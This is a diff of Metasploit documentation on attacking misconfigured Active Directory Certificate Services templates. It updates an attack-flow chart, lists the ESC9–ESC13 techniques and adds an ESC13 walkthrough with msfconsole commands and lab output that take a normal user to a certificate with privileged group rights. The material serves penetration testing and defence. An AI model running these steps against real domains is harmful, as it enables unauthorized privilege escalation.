@@ -5,18 +5,39 @@ for testing purposes.
5
5
# Introduction to AD CS Vulnerabilities
6
6
``` mermaid
7
7
flowchart TD
8
- escexp[Find vulnerable certificate templates\nvia ldap_esc_vulnerable_cert_finder] --> icpr[Issue certificates via icpr_cert]
9
- icpr[Issue certificates via icpr_cert] --> ESC1{{ESC1}}
10
- ESC1{{ESC1}} -- Via PKINIT --> pkinit{Authenticate to Kerberos}
11
- icpr[Issue certificates via icpr_cert] --> users[Request certificates on behalf of other users]
12
- users[Request certificates on behalf of other users] --> ESC2{{ESC2}}
13
- users[Request certificates on behalf of other users] --> ESC3{{ESC3}}
14
- ESC2{{ESC2}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
15
- ESC3{{ESC3}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
16
- ad_cs_template[Reconfigure certificates via ad_cs_cert_template] -- Exploit configuration --> icpr
8
+ subgraph ad_cs_cert_templates[<b>ad_cs_cert_templates</b>]
9
+ ESC4(ESC4)
10
+ update_template[<i>Update Template</i>]
11
+ ESC4 --> update_template
12
+ end
13
+ subgraph icpr_cert[<b>icpr_cert</b>]
14
+ ESC1(ESC1)
15
+ ESC2(ESC2)
16
+ ESC3(ESC3)
17
+ ESC13(ESC13)
18
+ alt_subject[<i>Alternate Subject Issuance</i>]
19
+ as_eagent[<i>Enrollment Agent Issuance</i>]
20
+ normal[<i>Normal Issuance</i>]
21
+
22
+ ESC1 --> alt_subject
23
+ ESC2 --> as_eagent
24
+ ESC3 --> as_eagent
25
+ ESC13 --> normal
26
+ as_eagent -- use new certificate --> normal
27
+ end
28
+ subgraph kerberos/get_ticket[<b>kerberos/get_ticket</b>]
29
+ PKINIT[<i>PKINIT</i>]
30
+ end
31
+ subgraph ldap_esc_vulnerable_cert_finder[<b>ldap_ecs_vulnerable_cert_finder</b>]
32
+ find_vulnerable_templates[<i>Find Vulnerable Templates</i>]
33
+ end
34
+ alt_subject --> PKINIT
35
+ find_vulnerable_templates --> icpr_cert
36
+ normal --> PKINIT
37
+ update_template --> ESC1
17
38
```
18
39
19
- The chart above showcases how one can go about attacking four common AD CS
40
+ The chart above showcases how one can go about attacking five unique AD CS
20
41
vulnerabilities, taking advantage of various flaws in how certificate templates are
21
42
configured on an Active Directory Certificate Server.
22
43
@@ -30,8 +51,7 @@ administrator via Kerberos.
30
51
Each certificate template vulnerability that will be discussed here has a ESC code, such
31
52
as ESC1, ESC2. These ESC codes are taken from the original whitepaper that
32
53
SpecterOps published which popularized these certificate template attacks, known as
33
- [ Certified
34
- Pre-Owned] ( https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf ) .
54
+ [ Certified Pre-Owned] ( https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf ) .
35
55
In this paper Will Schroeder and Lee Christensen described 8 different domain escalation
36
56
attacks that they found they could conduct via misconfigured certificate templates:
37
57
@@ -52,29 +72,30 @@ attacks that they found they could conduct via misconfigured certificate templat
52
72
- ESC7 - Vulnerable Certificate Authority Access Control
53
73
- ESC8 - NTLM Relay to AD CS HTTP Endpoints
54
74
55
- Later, another
56
- [ blog] ( https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7 )
57
- came out from Oliver Lyak which discovered ESC9 and ESC10, two more vulnerabilities that
58
- could allow normal domain joined users to abuse certificate template misconfigurations to
59
- gain domain administrator privileges.
60
-
61
- - ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag set in
62
- ` msPKI-EnrollmentFlag ` . Also ` StrongCertificateBindingEnforcement ` not set to 2 or
63
- ` CertificateMappingMethods ` contains ` UPN ` flag.
64
- - ESC10 - Weak Certificate Mappings -
65
- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
66
- CertificateMappingMethods` contains ` UPN` bit aka ` 0x4` or
67
- ` HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement ` is set to ` 0 ` .
68
-
69
- Finally, we have ESC11, which was discovered by Compass Security and described in their
70
- [ blog
71
- post] ( https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/ ) .
72
-
73
- - ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC
74
- interface is allowed due to lack of the ` IF_ENFORCEENCRYPTICERTREQUEST ` flag on ` Config.CA.Interface.Flags ` .
75
-
76
- Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, and ESC4. As such,
77
- this page only covers exploiting ESC1 to ESC4 at this time.
75
+ Later, additional techniques were disclosed by security researchers:
76
+
77
+ - ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag set in ` msPKI-EnrollmentFlag ` . Also
78
+ ` StrongCertificateBindingEnforcement ` not set to 2 or ` CertificateMappingMethods ` contains ` UPN ` flag.
79
+ - [ Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
80
+ more!] ( https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7 )
81
+ - ESC10 - Weak Certificate Mappings - `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
82
+ CertificateMappingMethods` contains ` UPN` bit aka ` 0x4` or ` HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
83
+ StrongCertificateBindingEnforcement` is set to ` 0`.
84
+ - [ Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
85
+ more!] ( https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7 )
86
+ - ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC interface is allowed due to lack of
87
+ the ` IF_ENFORCEENCRYPTICERTREQUEST ` flag on ` Config.CA.Interface.Flags ` .
88
+ - [ Relaying to AD Certificate Services over
89
+ RPC] ( https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/ )
90
+ - ESC12 - A user with shell access to a CA server using a YubiHSM2 hardware security module can access the CA's private
91
+ key.
92
+ - [ Shell access to ADCS CA with YubiHSM] ( https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm )
93
+ - ESC13 - Domain escalation via issuance policies with group links.
94
+ - [ ADCS ESC13 Abuse Technique] ( https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53 )
95
+ - [[ Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc13]]
96
+
97
+ Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4 and ESC13. As such,
98
+ this page only covers exploiting ESC1 through ESC4 and ESC13 at this time.
78
99
79
100
Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
80
101
as the diagram notes above. This is because in ESC1, one has control over the
@@ -134,7 +155,9 @@ Domain Controller (DC), and will run a set of LDAP queries to gather a list of c
134
155
templates they make available for enrollment. It will then also query the permissions on both the CA and the certificate template to figure out
135
156
which users or groups can use that certificate template to elevate their privileges.
136
157
137
- At this time, the module is capable of identifying techniques ESC1 through ESC3.
158
+ Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, and ESC13. The
159
+ module is limited to checking for these techniques due to them being identifiable remotely from a normal user account by
160
+ analyzing the objects in LDAP.
138
161
139
162
Keep in mind though that there are two sets of permissions in play here though. There is one set of permissions on the CA server that control
140
163
who is able to enroll in any certificate template from that server, and second set of permissions that control who is allowed to enroll in
@@ -858,6 +881,67 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
858
881
At this point the certificate template's configuration has been restored and the operator has a certificate that can be
859
882
used to authenticate to Active Directory as the Domain Admin.
860
883
884
+ # Exploiting ESC13
885
+ To exploit ESC13, we need to target a certificate that has an issuance policy linked to a universal group in Active
886
+ Directory. Unlike some of the other ESC techniques, successfully exploiting ESC13 isn't necessarily guaranteed to yield
887
+ administrative privileges, rather the privileges that are gained are those of the group which is linked to by OID in the
888
+ certificate template's issuance policy. The ` auxiliary/gather/ldap_esc_vulnerable_cert_finder ` module is capable of
889
+ identifying certificates that meet the necessary criteria. When one is found, the module will include the group whose
890
+ permissions will be included in the resulting Kerberos ticket in the notes section. In the following example, the
891
+ ESC13-Test template is vulenerable to ESC13 and will yield a ticket including the ESC13-Group permissions.
892
+
893
+ ```
894
+ msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
895
+ ...
896
+ [*] Template: ESC13-Test
897
+ [*] Distinguished Name: CN=ESC13-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=collalabs1,DC=local
898
+ [*] Vulnerable to: ESC13
899
+ [*] Notes: ESC13 groups: ESC13-Group
900
+ [*] Certificate Template Enrollment SIDs:
901
+ [*] * S-1-5-21-3474343397-3755413101-2031708755-512 (Domain Admins)
902
+ [*] * S-1-5-21-3474343397-3755413101-2031708755-513 (Domain Users)
903
+ [*] * S-1-5-21-3474343397-3755413101-2031708755-519 (Enterprise Admins)
904
+ [*] Issuing CAs:
905
+ [*] * collalabs1-SRV-ADDS01-CA
906
+ [*] Server: SRV-ADDS01.collalabs1.local
907
+ [*] Enrollment SIDs:
908
+ [*] * S-1-5-11 (Authenticated Users)
909
+ [*] * S-1-5-21-3474343397-3755413101-2031708755-519 (Enterprise Admins)
910
+ [*] * S-1-5-21-3474343397-3755413101-2031708755-512 (Domain Admins)
911
+ ```
912
+
913
+ In this case, the ticket can be issued with the ` icpr_cert ` module. No additional options are required to issue the
914
+ certificate beyond the standard ` CA ` , ` CERT_TEMPLATE ` , target and authentication options.
915
+
916
+ ```
917
+ msf6 > use auxiliary/admin/dcerpc/icpr_cert
918
+ msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
919
+ RHOSTS => 172.30.239.85
920
+ msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
921
+ SMBUser => normaluser
922
+ msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
923
+ SMBDomain => COLLALABS1
924
+ msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
925
+ SMBPass => normalpass
926
+ msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
927
+ CA => collalabs1-SRV-ADDS01-CA
928
+ msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC13-Test
929
+ CERT_TEMPLATE => ESC13-Test
930
+ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
931
+ [*] Running module against 172.30.239.85
932
+
933
+ [+] 172.30.239.85:445 - The requested certificate was issued.
934
+ [*] 172.30.239.85:445 - Certificate Email: [email protected]
935
+ [*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3474343397-3755413101-2031708755-10051
936
+ [*] 172.30.239.85:445 - Certificate UPN: [email protected]
937
+ [*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20240226170310_default_172.30.239.85_windows.ad.cs_917878.pfx
938
+ [*] Auxiliary module execution completed
939
+ msf6 auxiliary(admin/dcerpc/icpr_cert) >
940
+ ```
941
+
942
+ We can then use the ` kerberos/get_ticket ` module to gain a Kerberos ticket granting ticket (TGT) with the ` ESC13-Group `
943
+ RID present in the Groups field of the TGT PAC.
944
+
861
945
# Authenticating With A Certificate
862
946
Metasploit supports authenticating with certificates in a couple of different ways. These techniques can be used to take
863
947
further actions once a certificate has been issued for a particular identity (such as a Domain Admin user).
0 commit comments